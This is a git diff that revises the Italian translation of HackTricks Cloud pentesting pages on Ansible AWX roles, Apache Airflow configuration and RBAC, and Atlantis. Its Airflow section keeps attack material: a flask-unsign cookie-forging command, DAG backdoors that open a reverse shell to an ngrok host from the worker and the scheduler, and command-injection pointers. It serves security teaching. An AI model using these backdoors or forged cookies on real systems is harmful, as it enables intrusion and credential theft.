diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md index b3219311b..ee7649ade 100644 --- a/src/banners/hacktricks-training.md +++ b/src/banners/hacktricks-training.md @@ -8,6 +8,6 @@ > > - Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)! > - **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -> - **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. +> - **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos github. > > diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md index 1e5aa6711..7a8fea974 100644 --- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md +++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md @@ -1,60 +1,60 @@ -# Ansible Tower / AWX / Automation controller Security +# Sicurezza di Ansible Tower / AWX / Automation Controller {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di base -**Ansible Tower** o la sua versione open source [**AWX**](https://github.com/ansible/awx) è conosciuto anche come **interfaccia utente di Ansible, dashboard e REST API**. Con **controllo degli accessi basato sui ruoli**, pianificazione dei lavori e gestione grafica dell'inventario, puoi gestire la tua infrastruttura Ansible da un'interfaccia moderna. L'API REST di Tower e l'interfaccia a riga di comando rendono semplice integrarlo negli strumenti e nei flussi di lavoro attuali. +**Ansible Tower** o la sua versione open source [**AWX**](https://github.com/ansible/awx) è conosciuta anche come **interfaccia utente di Ansible, dashboard e REST API**. Con **controllo degli accessi basato sui ruoli**, pianificazione dei lavori e gestione grafica dell'inventario, puoi gestire la tua infrastruttura Ansible da un'interfaccia moderna. L'API REST di Tower e l'interfaccia a riga di comando rendono semplice integrarla negli strumenti e nei flussi di lavoro attuali. **Automation Controller è una versione più recente** di Ansible Tower con maggiori capacità. -### Differences +### Differenze Secondo [**questo**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), le principali differenze tra Ansible Tower e AWX sono il supporto ricevuto e Ansible Tower ha funzionalità aggiuntive come il controllo degli accessi basato sui ruoli, supporto per API personalizzate e flussi di lavoro definiti dall'utente. -### Tech Stack +### Stack Tecnologico -- **Web Interface**: Questa è l'interfaccia grafica in cui gli utenti possono gestire inventari, credenziali, modelli e lavori. È progettata per essere intuitiva e fornisce visualizzazioni per aiutare a comprendere lo stato e i risultati dei tuoi lavori di automazione. -- **REST API**: Tutto ciò che puoi fare nell'interfaccia web, puoi farlo anche tramite l'API REST. Questo significa che puoi integrare AWX/Tower con altri sistemi o scriptare azioni che normalmente esegui nell'interfaccia. +- **Interfaccia Web**: Questa è l'interfaccia grafica in cui gli utenti possono gestire inventari, credenziali, modelli e lavori. È progettata per essere intuitiva e fornisce visualizzazioni per aiutare a comprendere lo stato e i risultati dei tuoi lavori di automazione. +- **REST API**: Tutto ciò che puoi fare nell'interfaccia web, puoi farlo anche tramite l'API REST. Ciò significa che puoi integrare AWX/Tower con altri sistemi o scriptare azioni che normalmente esegui nell'interfaccia. - **Database**: AWX/Tower utilizza un database (tipicamente PostgreSQL) per memorizzare la sua configurazione, i risultati dei lavori e altri dati operativi necessari. - **RabbitMQ**: Questo è il sistema di messaggistica utilizzato da AWX/Tower per comunicare tra i diversi componenti, specialmente tra il servizio web e i task runner. - **Redis**: Redis funge da cache e backend per la coda dei task. -### Logical Components +### Componenti Logici -- **Inventories**: Un inventario è una **collezione di host (o nodi)** contro cui possono essere **eseguiti** i **lavori** (playbook Ansible). AWX/Tower ti consente di definire e raggruppare i tuoi inventari e supporta anche inventari dinamici che possono **recuperare elenchi di host da altri sistemi** come AWS, Azure, ecc. -- **Projects**: Un progetto è essenzialmente una **collezione di playbook Ansible** provenienti da un **sistema di controllo versione** (come Git) per estrarre i playbook più recenti quando necessario. -- **Templates**: I modelli di lavoro definiscono **come verrà eseguito un particolare playbook**, specificando l'**inventario**, le **credenziali** e altri **parametri** per il lavoro. -- **Credentials**: AWX/Tower fornisce un modo sicuro per **gestire e memorizzare segreti, come chiavi SSH, password e token API**. Queste credenziali possono essere associate ai modelli di lavoro in modo che i playbook abbiano l'accesso necessario quando vengono eseguiti. -- **Task Engine**: Qui avviene la magia. Il motore dei task è costruito su Ansible ed è responsabile per **l'esecuzione dei playbook**. I lavori vengono inviati al motore dei task, che poi esegue i playbook Ansible contro l'inventario designato utilizzando le credenziali specificate. -- **Schedulers and Callbacks**: Queste sono funzionalità avanzate in AWX/Tower che consentono ai **lavori di essere pianificati** per essere eseguiti in momenti specifici o attivati da eventi esterni. -- **Notifications**: AWX/Tower può inviare notifiche in base al successo o al fallimento dei lavori. Supporta vari mezzi di notifiche come email, messaggi Slack, webhook, ecc. -- **Ansible Playbooks**: I playbook Ansible sono strumenti di configurazione, distribuzione e orchestrazione. Descrivono lo stato desiderato dei sistemi in modo automatizzato e ripetibile. Scritti in YAML, i playbook utilizzano il linguaggio di automazione dichiarativa di Ansible per descrivere configurazioni, attività e passaggi che devono essere eseguiti. +- **Inventari**: Un inventario è una **collezione di host (o nodi)** contro cui possono essere **eseguiti** i **lavori** (playbook Ansible). AWX/Tower ti consente di definire e raggruppare i tuoi inventari e supporta anche inventari dinamici che possono **recuperare elenchi di host da altri sistemi** come AWS, Azure, ecc. +- **Progetti**: Un progetto è essenzialmente una **collezione di playbook Ansible** provenienti da un **sistema di controllo versione** (come Git) per estrarre i playbook più recenti quando necessario. +- **Modelli**: I modelli di lavoro definiscono **come verrà eseguito un particolare playbook**, specificando l'**inventario**, le **credenziali** e altri **parametri** per il lavoro. +- **Credenziali**: AWX/Tower fornisce un modo sicuro per **gestire e memorizzare segreti, come chiavi SSH, password e token API**. Queste credenziali possono essere associate ai modelli di lavoro in modo che i playbook abbiano l'accesso necessario quando vengono eseguiti. +- **Motore di Task**: Qui avviene la magia. Il motore di task è costruito su Ansible ed è responsabile per **eseguire i playbook**. I lavori vengono inviati al motore di task, che poi esegue i playbook Ansible contro l'inventario designato utilizzando le credenziali specificate. +- **Pianificatori e Callback**: Queste sono funzionalità avanzate in AWX/Tower che consentono ai **lavori di essere pianificati** per essere eseguiti in momenti specifici o attivati da eventi esterni. +- **Notifiche**: AWX/Tower può inviare notifiche in base al successo o al fallimento dei lavori. Supporta vari mezzi di notifiche come email, messaggi Slack, webhook, ecc. +- **Playbook Ansible**: I playbook Ansible sono strumenti di configurazione, distribuzione e orchestrazione. Descrivono lo stato desiderato dei sistemi in modo automatizzato e ripetibile. Scritti in YAML, i playbook utilizzano il linguaggio di automazione dichiarativa di Ansible per descrivere configurazioni, attività e passaggi che devono essere eseguiti. -### Job Execution Flow +### Flusso di Esecuzione del Lavoro -1. **User Interaction**: Un utente può interagire con AWX/Tower sia tramite l'**Interfaccia Web** che l'**API REST**. Queste forniscono accesso front-end a tutte le funzionalità offerte da AWX/Tower. -2. **Job Initiation**: -- L'utente, tramite l'Interfaccia Web o API, avvia un lavoro basato su un **Modello di Lavoro**. +1. **Interazione dell'Utente**: Un utente può interagire con AWX/Tower sia tramite l'**Interfaccia Web** che tramite l'**API REST**. Queste forniscono accesso front-end a tutte le funzionalità offerte da AWX/Tower. +2. **Inizio del Lavoro**: +- L'utente, tramite l'Interfaccia Web o l'API, avvia un lavoro basato su un **Modello di Lavoro**. - Il Modello di Lavoro include riferimenti all'**Inventario**, al **Progetto** (contenente il playbook) e alle **Credenziali**. - Al momento dell'inizio del lavoro, viene inviata una richiesta al backend di AWX/Tower per mettere in coda il lavoro per l'esecuzione. -3. **Job Queuing**: -- **RabbitMQ** gestisce la messaggistica tra il componente web e i task runner. Una volta avviato un lavoro, un messaggio viene inviato al motore dei task utilizzando RabbitMQ. +3. **Coda del Lavoro**: +- **RabbitMQ** gestisce la messaggistica tra il componente web e i task runner. Una volta avviato un lavoro, un messaggio viene inviato al motore di task utilizzando RabbitMQ. - **Redis** funge da backend per la coda dei task, gestendo i lavori in coda in attesa di esecuzione. -4. **Job Execution**: -- Il **Task Engine** preleva il lavoro in coda. Recupera le informazioni necessarie dal **Database** riguardo al playbook associato al lavoro, all'inventario e alle credenziali. -- Utilizzando il playbook Ansible recuperato dal **Progetto** associato, il Task Engine esegue il playbook contro i nodi dell'**Inventario** specificato utilizzando le **Credenziali** fornite. +4. **Esecuzione del Lavoro**: +- Il **Motore di Task** preleva il lavoro in coda. Recupera le informazioni necessarie dal **Database** riguardo al playbook associato al lavoro, all'inventario e alle credenziali. +- Utilizzando il playbook Ansible recuperato dal **Progetto** associato, il Motore di Task esegue il playbook contro i nodi dell'**Inventario** specificato utilizzando le **Credenziali** fornite. - Mentre il playbook viene eseguito, il suo output di esecuzione (log, fatti, ecc.) viene catturato e memorizzato nel **Database**. -5. **Job Results**: +5. **Risultati del Lavoro**: - Una volta che il playbook ha terminato l'esecuzione, i risultati (successo, fallimento, log) vengono salvati nel **Database**. - Gli utenti possono quindi visualizzare i risultati tramite l'Interfaccia Web o interrogarli tramite l'API REST. -- In base ai risultati del lavoro, possono essere inviate **Notifiche** per informare gli utenti o i sistemi esterni sullo stato del lavoro. Le notifiche possono essere email, messaggi Slack, webhook, ecc. -6. **External Systems Integration**: -- **Inventories** possono essere recuperati dinamicamente da sistemi esterni, consentendo ad AWX/Tower di estrarre host da fonti come AWS, Azure, VMware e altro. -- **Projects** (playbook) possono essere recuperati da sistemi di controllo versione, garantendo l'uso di playbook aggiornati durante l'esecuzione del lavoro. -- **Schedulers and Callbacks** possono essere utilizzati per integrarsi con altri sistemi o strumenti, facendo sì che AWX/Tower reagisca a trigger esterni o esegua lavori a orari prestabiliti. +- In base ai risultati del lavoro, le **Notifiche** possono essere inviate per informare gli utenti o i sistemi esterni sullo stato del lavoro. Le notifiche possono essere email, messaggi Slack, webhook, ecc. +6. **Integrazione con Sistemi Esterni**: +- **Inventari** possono essere recuperati dinamicamente da sistemi esterni, consentendo ad AWX/Tower di estrarre host da fonti come AWS, Azure, VMware e altro. +- **Progetti** (playbook) possono essere recuperati da sistemi di controllo versione, garantendo l'uso di playbook aggiornati durante l'esecuzione del lavoro. +- **Pianificatori e Callback** possono essere utilizzati per integrarsi con altri sistemi o strumenti, facendo sì che AWX/Tower reagisca a trigger esterni o esegua lavori a orari prestabiliti. -### AWX lab creation for testing +### Creazione di un laboratorio AWX per test [**Seguendo la documentazione**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) è possibile utilizzare docker-compose per eseguire AWX: ```bash @@ -86,51 +86,51 @@ docker exec tools_awx_1 awx-manage create_preload_data ### Ruoli supportati -Il ruolo più privilegiato è chiamato **Amministratore di Sistema**. Chiunque abbia questo ruolo può **modificare qualsiasi cosa**. +Il ruolo più privilegiato è chiamato **System Administrator**. Chiunque abbia questo ruolo può **modificare qualsiasi cosa**. -Da una revisione di **sicurezza a scatola bianca**, avresti bisogno del **ruolo di Revisore di Sistema**, che consente di **visualizzare tutti i dati di sistema** ma non può apportare modifiche. Un'altra opzione sarebbe ottenere il **ruolo di Revisore dell'Organizzazione**, ma sarebbe meglio ottenere l'altro. +Da una revisione di **white box security**, avresti bisogno del **System Auditor role**, che consente di **visualizzare tutti i dati di sistema** ma non può apportare modifiche. Un'altra opzione sarebbe ottenere il **Organization Auditor role**, ma sarebbe meglio ottenere l'altro.
Espandi per ottenere una descrizione dettagliata dei ruoli disponibili -1. **Amministratore di Sistema**: -- Questo è il ruolo di superutente con permessi per accedere e modificare qualsiasi risorsa nel sistema. +1. **System Administrator**: +- Questo è il ruolo superutente con permessi per accedere e modificare qualsiasi risorsa nel sistema. - Possono gestire tutte le organizzazioni, i team, i progetti, gli inventari, i modelli di lavoro, ecc. -2. **Revisore di Sistema**: +2. **System Auditor**: - Gli utenti con questo ruolo possono visualizzare tutti i dati di sistema ma non possono apportare modifiche. - Questo ruolo è progettato per la conformità e la supervisione. -3. **Ruoli dell'Organizzazione**: +3. **Ruoli dell'organizzazione**: - **Admin**: Controllo completo sulle risorse dell'organizzazione. -- **Revisore**: Accesso in sola visualizzazione alle risorse dell'organizzazione. -- **Membro**: Membro di base in un'organizzazione senza permessi specifici. -- **Esegui**: Può eseguire modelli di lavoro all'interno dell'organizzazione. -- **Leggi**: Può visualizzare le risorse dell'organizzazione. -4. **Ruoli del Progetto**: +- **Auditor**: Accesso in sola visualizzazione alle risorse dell'organizzazione. +- **Member**: Membri di base in un'organizzazione senza permessi specifici. +- **Execute**: Può eseguire modelli di lavoro all'interno dell'organizzazione. +- **Read**: Può visualizzare le risorse dell'organizzazione. +4. **Ruoli del progetto**: - **Admin**: Può gestire e modificare il progetto. -- **Usa**: Può utilizzare il progetto in un modello di lavoro. -- **Aggiorna**: Può aggiornare il progetto utilizzando SCM (controllo sorgente). -5. **Ruoli dell'Inventario**: +- **Use**: Può utilizzare il progetto in un modello di lavoro. +- **Update**: Può aggiornare il progetto utilizzando SCM (source control). +5. **Ruoli dell'inventario**: - **Admin**: Può gestire e modificare l'inventario. - **Ad Hoc**: Può eseguire comandi ad hoc sull'inventario. -- **Aggiorna**: Può aggiornare la fonte dell'inventario. -- **Usa**: Può utilizzare l'inventario in un modello di lavoro. -- **Leggi**: Accesso in sola visualizzazione. -6. **Ruoli del Modello di Lavoro**: +- **Update**: Può aggiornare la fonte dell'inventario. +- **Use**: Può utilizzare l'inventario in un modello di lavoro. +- **Read**: Accesso in sola visualizzazione. +6. **Ruoli del modello di lavoro**: - **Admin**: Può gestire e modificare il modello di lavoro. -- **Esegui**: Può eseguire il lavoro. -- **Leggi**: Accesso in sola visualizzazione. -7. **Ruoli delle Credenziali**: +- **Execute**: Può eseguire il lavoro. +- **Read**: Accesso in sola visualizzazione. +7. **Ruoli delle credenziali**: - **Admin**: Può gestire e modificare le credenziali. -- **Usa**: Può utilizzare le credenziali nei modelli di lavoro o in altre risorse pertinenti. -- **Leggi**: Accesso in sola visualizzazione. -8. **Ruoli del Team**: -- **Membro**: Parte del team ma senza permessi specifici. +- **Use**: Può utilizzare le credenziali nei modelli di lavoro o in altre risorse pertinenti. +- **Read**: Accesso in sola visualizzazione. +8. **Ruoli del team**: +- **Member**: Parte del team ma senza permessi specifici. - **Admin**: Può gestire i membri del team e le risorse associate. -9. **Ruoli del Workflow**: +9. **Ruoli del workflow**: - **Admin**: Può gestire e modificare il workflow. -- **Esegui**: Può eseguire il workflow. -- **Leggi**: Accesso in sola visualizzazione. +- **Execute**: Può eseguire il workflow. +- **Read**: Accesso in sola visualizzazione.
diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md index 430a3133c..811d17331 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/README.md +++ b/src/pentesting-ci-cd/apache-airflow-security/README.md @@ -34,7 +34,7 @@ Airflow potrebbe memorizzare **informazioni sensibili** nella sua configurazione airflow-configuration.md {{#endref}} -### RBAC di Airflow +### Airflow RBAC Prima di iniziare ad attaccare Airflow, dovresti comprendere **come funzionano i permessi**: @@ -55,28 +55,28 @@ Se hai **accesso alla console web**, potresti essere in grado di accedere ad alc - Elenca **utenti e ruoli** - **Codice di ogni DAG** (che potrebbe contenere informazioni interessanti) -#### Recupera i Valori delle Variabili +#### Recupero dei Valori delle Variabili -Le variabili possono essere memorizzate in Airflow in modo che i **DAG** possano **accedere** ai loro valori. È simile ai segreti di altre piattaforme. Se hai **sufficienti permessi**, puoi accedervi nella GUI in `http:///variable/list/`.\ -Airflow per impostazione predefinita mostrerà il valore della variabile nella GUI, tuttavia, secondo [**questo**](https://marclamberti.com/blog/variables-with-apache-airflow/), è possibile impostare un **elenco di variabili** il cui **valore** apparirà come **asterischi** nella **GUI**. +Le variabili possono essere memorizzate in Airflow in modo che i **DAG** possano **accedere** ai loro valori. È simile ai segreti di altre piattaforme. Se hai **sufficienti permessi**, puoi accedervi nell'interfaccia grafica in `http:///variable/list/`.\ +Airflow per impostazione predefinita mostrerà il valore della variabile nell'interfaccia grafica, tuttavia, secondo [**questo**](https://marclamberti.com/blog/variables-with-apache-airflow/), è possibile impostare un **elenco di variabili** il cui **valore** apparirà come **asterischi** nell'**interfaccia grafica**. ![](<../../images/image (164).png>) -Tuttavia, questi **valori** possono ancora essere **recuperati** tramite **CLI** (è necessario avere accesso al DB), esecuzione di **DAG** arbitrari, **API** per accedere all'endpoint delle variabili (l'API deve essere attivata) e **anche la GUI stessa!**\ -Per accedere a quei valori dalla GUI, basta **selezionare le variabili** che desideri accedere e **cliccare su Azioni -> Esporta**.\ +Tuttavia, questi **valori** possono ancora essere **recuperati** tramite **CLI** (è necessario avere accesso al DB), **esecuzione di DAG** arbitrari, **API** per accedere all'endpoint delle variabili (l'API deve essere attivata) e **anche l'interfaccia grafica stessa!**\ +Per accedere a quei valori dall'interfaccia grafica, basta **selezionare le variabili** che desideri accedere e **cliccare su Azioni -> Esporta**.\ Un altro modo è eseguire un **bruteforce** sul **valore nascosto** utilizzando il **filtro di ricerca** fino a ottenerlo: ![](<../../images/image (152).png>) #### Escalation dei Privilegi -Se la configurazione **`expose_config`** è impostata su **True**, da **ruolo Utente** e **superiore** possono **leggere** la **configurazione nel web**. In questa configurazione, appare il **`secret_key`**, il che significa che qualsiasi utente con questo valido può **creare il proprio cookie firmato per impersonare qualsiasi altro account utente**. +Se la configurazione **`expose_config`** è impostata su **True**, dal **ruolo Utente** e **superiore** possono **leggere** la **configurazione nel web**. In questa configurazione, appare il **`secret_key`**, il che significa che qualsiasi utente con questo valido può **creare il proprio cookie firmato per impersonare qualsiasi altro account utente**. ```bash flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}" ``` #### DAG Backdoor (RCE in Airflow worker) -Se hai **accesso in scrittura** al luogo in cui i **DAG vengono salvati**, puoi semplicemente **crearne uno** che ti invierà una **reverse shell.**\ +Se hai **accesso in scrittura** al luogo dove i **DAG vengono salvati**, puoi semplicemente **crearne uno** che ti invierà una **reverse shell.**\ Nota che questa reverse shell verrà eseguita all'interno di un **contenitore worker di airflow**: ```python import pendulum @@ -118,7 +118,7 @@ op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433} ``` #### DAG Backdoor (RCE nel scheduler di Airflow) -Se imposti qualcosa per essere **eseguito nella radice del codice**, al momento della scrittura di questo documento, verrà **eseguito dallo scheduler** dopo un paio di secondi dalla sua collocazione all'interno della cartella del DAG. +Se imposti qualcosa per essere **eseguito nella radice del codice**, al momento della scrittura di questo documento, verrà **eseguito dallo scheduler** dopo un paio di secondi dalla sua collocazione nella cartella del DAG. ```python import pendulum, socket, os, pty from airflow import DAG @@ -152,7 +152,7 @@ Quando esegui un DAG dalla GUI puoi **passare argomenti** ad esso.\ Pertanto, se il DAG non è codificato correttamente potrebbe essere **vulnerabile all'Iniezione di Comandi.**\ Questo è ciò che è accaduto in questo CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) -Tutto ciò che devi sapere per **iniziare a cercare iniezioni di comandi nei DAG** è che **i parametri** sono **accessibili** con il codice **`dag_run.conf.get("param_name")`**. +Tutto ciò che devi sapere per **iniziare a cercare iniezioni di comandi nei DAG** è che i **parametri** sono **accessibili** con il codice **`dag_run.conf.get("param_name")`**. Inoltre, la stessa vulnerabilità potrebbe verificarsi con **variabili** (nota che con privilegi sufficienti potresti **controllare il valore delle variabili** nella GUI). Le variabili sono **accessibili con**: ```python @@ -160,6 +160,6 @@ from airflow.models import Variable [...] foo = Variable.get("foo") ``` -Se vengono utilizzati, ad esempio, all'interno di un comando bash, potresti eseguire un'iniezione di comandi. +Se vengono utilizzati, ad esempio, all'interno di un comando bash, è possibile eseguire un'iniezione di comandi. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md index 9e69754cc..c29fed0d4 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md @@ -20,15 +20,15 @@ Alcuni valori interessanti da controllare quando leggi il file di configurazione - **`access_control_allow_headers`**: Questo indica gli **header** **consentiti** per **CORS** - **`access_control_allow_methods`**: Questo indica i **metodi consentiti** per **CORS** - **`access_control_allow_origins`**: Questo indica le **origini consentite** per **CORS** -- **`auth_backend`**: [**Secondo la documentazione**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) ci sono alcune opzioni che possono essere impostate per configurare chi può accedere all'API: +- **`auth_backend`**: [**Secondo la documentazione**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) alcune opzioni possono essere in atto per configurare chi può accedere all'API: - `airflow.api.auth.backend.deny_all`: **Per impostazione predefinita nessuno** può accedere all'API - `airflow.api.auth.backend.default`: **Tutti possono** accedervi senza autenticazione - `airflow.api.auth.backend.kerberos_auth`: Per configurare **l'autenticazione kerberos** - `airflow.api.auth.backend.basic_auth`: Per **l'autenticazione di base** -- `airflow.composer.api.backend.composer_auth`: Utilizza l'autenticazione dei compositori (GCP) (da [**qui**](https://cloud.google.com/composer/docs/access-airflow-api)). +- `airflow.composer.api.backend.composer_auth`: Usa l'autenticazione dei compositori (GCP) (da [**qui**](https://cloud.google.com/composer/docs/access-airflow-api)). - `composer_auth_user_registration_role`: Questo indica il **ruolo** che l'**utente compositore** avrà all'interno di **airflow** (**Op** per impostazione predefinita). - Puoi anche **creare il tuo metodo di autenticazione** con python. -- **`google_key_path`:** Percorso alla **chiave del servizio GCP** +- **`google_key_path`:** Percorso alla **chiave dell'account di servizio GCP** ### **\[atlas]** @@ -38,7 +38,7 @@ Alcuni valori interessanti da controllare quando leggi il file di configurazione ### \[celery] - **`flower_basic_auth`** : Credenziali (_user1:password1,user2:password2_) -- **`result_backend`**: URL Postgres che potrebbe contenere **credenziali**. +- **`result_backend`**: URL Postgres che può contenere **credenziali**. - **`ssl_cacert`**: Percorso al cacert - **`ssl_cert`**: Percorso al certificato - **`ssl_key`**: Percorso alla chiave @@ -63,7 +63,7 @@ Alcuni valori interessanti da controllare quando leggi il file di configurazione ### \[logging] -- **`google_key_path`**: Percorso alle credenziali JSON di GCP. +- **`google_key_path`**: Percorso alle credenziali JSON GCP. ### \[secrets] @@ -80,7 +80,7 @@ Alcuni valori interessanti da controllare quando leggi il file di configurazione - **`cookie_samesite`**: Per impostazione predefinita è **Lax**, quindi è già il valore più debole possibile - **`cookie_secure`**: Imposta il **flag sicuro** sul cookie di sessione - **`expose_config`**: Per impostazione predefinita è False, se vero, la **configurazione** può essere **letta** dalla **console** web -- **`expose_stacktrace`**: Per impostazione predefinita è True, mostrerà **tracce python** (potenzialmente utili per un attaccante) +- **`expose_stacktrace`**: Per impostazione predefinita è True, mostrerà **tracce di python** (potenzialmente utili per un attaccante) - **`secret_key`**: Questa è la **chiave utilizzata da flask per firmare i cookie** (se hai questo puoi **impersonare qualsiasi utente in Airflow**) - **`web_server_ssl_cert`**: **Percorso** al **certificato** **SSL** - **`web_server_ssl_key`**: **Percorso** alla **chiave** **SSL** @@ -92,7 +92,7 @@ Per impostazione predefinita, **l'autenticazione web** è specificata nel file * ```bash AUTH_TYPE = AUTH_DB ``` -Il che significa che **l'autenticazione viene controllata rispetto al database**. Tuttavia, sono possibili altre configurazioni come +Ciò significa che **l'autenticazione viene verificata rispetto al database**. Tuttavia, sono possibili altre configurazioni come ```bash AUTH_TYPE = AUTH_OAUTH ``` diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md index 9fca3b5bc..9aa6cc3d2 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md @@ -4,13 +4,13 @@ ## RBAC -(Dai documenti)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow viene fornito con un **insieme di ruoli per impostazione predefinita**: **Admin**, **User**, **Op**, **Viewer** e **Public**. **Solo gli utenti `Admin`** possono **configurare/modificare i permessi per altri ruoli**. Ma non è consigliato che gli utenti `Admin` modifichino questi ruoli predefiniti in alcun modo rimuovendo o aggiungendo permessi a questi ruoli. +(Dai documenti)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow viene fornito con un **set di ruoli per impostazione predefinita**: **Admin**, **User**, **Op**, **Viewer** e **Public**. **Solo gli utenti `Admin`** possono **configurare/modificare i permessi per altri ruoli**. Ma non è consigliato che gli utenti `Admin` modifichino questi ruoli predefiniti in alcun modo rimuovendo o aggiungendo permessi a questi ruoli. -- **`Admin`** gli utenti hanno tutti i permessi possibili. -- **`Public`** gli utenti (anonimi) non hanno alcun permesso. -- **`Viewer`** gli utenti hanno permessi di visualizzazione limitati (solo lettura). Non **può vedere la configurazione.** -- **`User`** gli utenti hanno permessi di `Viewer` più permessi aggiuntivi che gli consentono di gestire un po' i DAG. Può **vedere il file di configurazione.** -- **`Op`** gli utenti hanno permessi di `User` più permessi aggiuntivi di op. +- **Gli utenti `Admin`** hanno tutti i permessi possibili. +- **Gli utenti `Public`** (anonimi) non hanno alcun permesso. +- **Gli utenti `Viewer`** hanno permessi di visualizzazione limitati (solo lettura). Non **possono vedere la configurazione.** +- **Gli utenti `User`** hanno permessi di `Viewer` più permessi aggiuntivi che consentono di gestire i DAG in parte. Possono **vedere il file di configurazione.** +- **Gli utenti `Op`** hanno permessi di `User` più permessi aggiuntivi di op. Nota che gli utenti **admin** possono **creare più ruoli** con permessi **più granulari**. diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md index 9ab5b1bb8..dcf257ab6 100644 --- a/src/pentesting-ci-cd/atlantis-security.md +++ b/src/pentesting-ci-cd/atlantis-security.md @@ -2,25 +2,25 @@ {{#include ../banners/hacktricks-training.md}} -### Informazioni di base +### Informazioni di Base Atlantis aiuta fondamentalmente a eseguire terraform dalle Pull Requests dal tuo server git. ![](<../images/image (161).png>) -### Laboratorio locale +### Laboratorio Locale 1. Vai alla **pagina delle release di atlantis** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) e **scarica** quella che fa per te. -2. Crea un **token personale** (con accesso ai repo) del tuo utente **github**. -3. Esegui `./atlantis testdrive` e verrà creato un **repo demo** che puoi usare per **parlare con atlantis**. -4. Puoi accedere alla pagina web in 127.0.0.1:4141. +2. Crea un **token personale** (con accesso ai repo) del tuo utente **github** +3. Esegui `./atlantis testdrive` e verrà creato un **demo repo** che puoi usare per **parlare con atlantis** +1. Puoi accedere alla pagina web in 127.0.0.1:4141 ### Accesso ad Atlantis -#### Credenziali del server Git +#### Credenziali del Server Git **Atlantis** supporta diversi host git come **Github**, **Gitlab**, **Bitbucket** e **Azure DevOps**.\ -Tuttavia, per accedere ai repo su queste piattaforme e eseguire azioni, è necessario avere un **accesso privilegiato concesso a loro** (almeno permessi di scrittura).\ +Tuttavia, per accedere ai repo su queste piattaforme e eseguire azioni, è necessario avere alcuni **accessi privilegiati concessi** (almeno permessi di scrittura).\ [**La documentazione**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) incoraggia a creare un utente su queste piattaforme specificamente per Atlantis, ma alcune persone potrebbero usare account personali. > [!WARNING] @@ -37,7 +37,7 @@ Nota che a meno che tu non utilizzi un server github o bitbucket privato, dovrai > [!WARNING] > Atlantis andrà a **esporre webhook** affinché il server git possa inviargli informazioni. Dal punto di vista di un attaccante, sarebbe interessante sapere **se puoi inviargli messaggi**. -#### Credenziali del provider +#### Credenziali del Provider [Dal documento:](https://www.runatlantis.io/docs/provider-credentials.html) @@ -47,45 +47,45 @@ Sta a te come [fornire credenziali](https://www.runatlantis.io/docs/provider-cre - Il [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) di Atlantis e il [Modulo AWS Fargate](https://www.runatlantis.io/docs/deployment.html#aws-fargate) hanno i propri meccanismi per le credenziali del provider. Leggi la loro documentazione. - Se stai eseguendo Atlantis in un cloud, molti cloud hanno modi per fornire accesso API cloud alle applicazioni in esecuzione su di essi, ad es.: -- [Ruoli AWS EC2](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Cerca "EC2 Role") -- [Account di servizio delle istanze GCE](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) +- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Cerca "EC2 Role") +- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) - Molti utenti impostano variabili di ambiente, ad es. `AWS_ACCESS_KEY`, dove sta girando Atlantis. - Altri creano i file di configurazione necessari, ad es. `~/.aws/credentials`, dove sta girando Atlantis. -- Usa il [Provider HashiCorp Vault](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) per ottenere credenziali del provider. +- Usa il [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) per ottenere credenziali del provider. > [!WARNING] -> Il **container** in cui **Atlantis** è 